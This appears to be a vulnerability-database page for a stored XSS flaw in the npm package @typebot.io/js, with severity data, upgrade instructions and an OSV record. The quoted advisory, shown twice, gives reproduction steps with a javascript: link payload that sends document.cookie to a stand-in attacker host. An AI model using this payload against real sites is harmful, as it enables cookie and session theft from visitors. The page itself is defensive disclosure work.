Vulnerabilities in pkg:npm/@typebot.io/js

PACKAGE
Advisory Identifier: GHSA-hqmv-v56g-4m47
Advisory Summary

CVE-2026-39964 is a MODERATE (CVSS 5.4) security vulnerability vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting @typebot.io/js libraries in the npm ecosystem. The issue involves uri in text bubble links — bot author executes js on visitors' browsers. Remediation is available by upgrading affected packages to version 0.10.1.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@typebot.io/js

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@typebot.io/js. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-hqmv-v56g-4m47 CVE-2026-39964 MODERATE Typebot.io has stored XSS via `javascript`: URI in text bubble links — bot author executes JS on visitors' browsers
GHSA-6m7c-xfhp-p9fh CVE-2026-28445 HIGH Typebot has Stored XSS via Rating Block Custom Icon that Bypasses isUnsafe Sandbox in Builder Preview
GHSA-4xc5-wfwc-jw47 CVE-2025-65098 HIGH Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass

CVE-2026-39964 at a Glance

CVE Identifier CVE-2026-39964
GHSA Identifier GHSA-hqmv-v56g-4m47
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product @typebot.io/js
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-39964

To remediate this vulnerability, upgrade all affected @typebot.io/js dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@typebot.io/js fixed: 0.10.1
npm install @typebot.io/js@0.10.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @typebot.io/js

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-39964, inspect your project dependencies using npm:

npm ls @typebot.io/js

Analyze the terminal output to locate any version of @typebot.io/js in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.1), your application is affected.

Note: The npm ls @typebot.io/js command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In @typebot.io/js, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens. ### Details Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx` ```tsx // Line 32 — href set directly from stored bot content, no javascript: filtering <a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer"> {elementDescendant.children[0].text} </a> ``` SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged. The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping. ### Steps to Reproduce ``` 1. Log in to Typebot as an authenticated user (any plan) 2. Create a new bot 3. Add a Text Bubble block 4. In the rich text editor, type any link text and set the URL to: javascript:fetch('https://attacker.com/?c='+document.cookie) 5. Publish the bot and open the live/embedded viewer 6. Click the link in the chatbot interface 7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com ``` Source-verified: `PlateBlock.tsx:32` renders `<a href={url}>` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked. ### Impact - Any authenticated Typebot user (including free tier) can create a bot with this payload - When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin - Allows stealing cookies, session tokens, or any data accessible to the embedding page - Shared bots are publicly accessible — no victim authentication required ### Proposed Fix Filter `javascript:` URIs before rendering anchor tags: ```tsx const safeUrl = (url: string) => /^javascript:/i.test(url.trim()) ? '#' : url <a href={safeUrl(elementDescendant.url as string)} ...> ``` Alternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).

CVE-2026-39964 Affected @typebot.io/js Versions

1 component(s)
Fixed Versions:
0.10.1
Product / Package Ecosystem Affected Versions Fixed Version
@typebot.io/js
npm
< 0.10.1
0.10.1

References

Frequently Asked Questions

What is CVE-2026-39964?
CVE-2026-39964 is a security vulnerability in @typebot.io/js involving URI in text bubble links — bot author executes JS on visitors' browsers under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which @typebot.io/js versions are affected?
Affected versions include releases prior to 0.10.1 across affected packages: @typebot.io/js.
What version fixes CVE-2026-39964?
Upgrading to 0.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @typebot.io/js affected?
Yes, @typebot.io/js is affected in releases prior to 0.10.1. Upgrade your dependency to 0.10.1 or later.
What is the CVSS score of CVE-2026-39964?
CVE-2026-39964 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-39964?
CVE-2026-39964 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-39964?
Run the dependency tree command: 'npm ls @typebot.io/js'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hqmv-v56g-4m47",
  "modified" : "2026-05-26T18:00:24Z",
  "published" : "2026-05-26T18:00:24Z",
  "aliases" : [ "CVE-2026-39964" ],
  "summary" : "Typebot.io has stored XSS via `javascript`: URI in text bubble links — bot author executes JS on visitors' browsers",
  "details" : "### Summary\n\nThe Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.\n\n### Details\n\nVulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx`\n\n```tsx\n// Line 32 — href set directly from stored bot content, no javascript: filtering\n<a href={elementDescendant.url as string} target=\"_blank\" rel=\"noopener noreferrer\">\n  {elementDescendant.children[0].text}\n</a>\n```\n\nSolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged.\n\nThe same issue exists in `ImageBubble.tsx` line 102 for image link wrapping.\n\n### Steps to Reproduce\n\n```\n1. Log in to Typebot as an authenticated user (any plan)\n2. Create a new bot\n3. Add a Text Bubble block\n4. In the rich text editor, type any link text and set the URL to:\n   javascript:fetch('https://attacker.com/?c='+document.cookie)\n5. Publish the bot and open the live/embedded viewer\n6. Click the link in the chatbot interface\n7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com\n```\n\nSource-verified: `PlateBlock.tsx:32` renders `<a href={url}>` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked.\n\n### Impact\n\n- Any authenticated Typebot user (including free tier) can create a bot with this payload\n- When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin\n- Allows stealing cookies, session tokens, or any data accessible to the embedding page\n- Shared bots are publicly accessible — no victim authentication required\n\n### Proposed Fix\n\nFilter `javascript:` URIs before rendering anchor tags:\n\n```tsx\nconst safeUrl = (url: string) =>\n  /^javascript:/i.test(url.trim()) ? '#' : url\n\n<a href={safeUrl(elementDescendant.url as string)} ...>\n```\n\nAlternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@typebot.io/js"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.10.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-hqmv-v56g-4m47"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39964"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/commit/2c3fc7267a5e1529ba4b1a2ab4f1edb3e3b8990b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/baptisteArno/typebot.io"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/baptisteArno/typebot.io/releases/tag/v3.16.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-26T18:00:24Z",
    "nvd_published_at" : "2026-05-22T18:16:21Z"
  }
}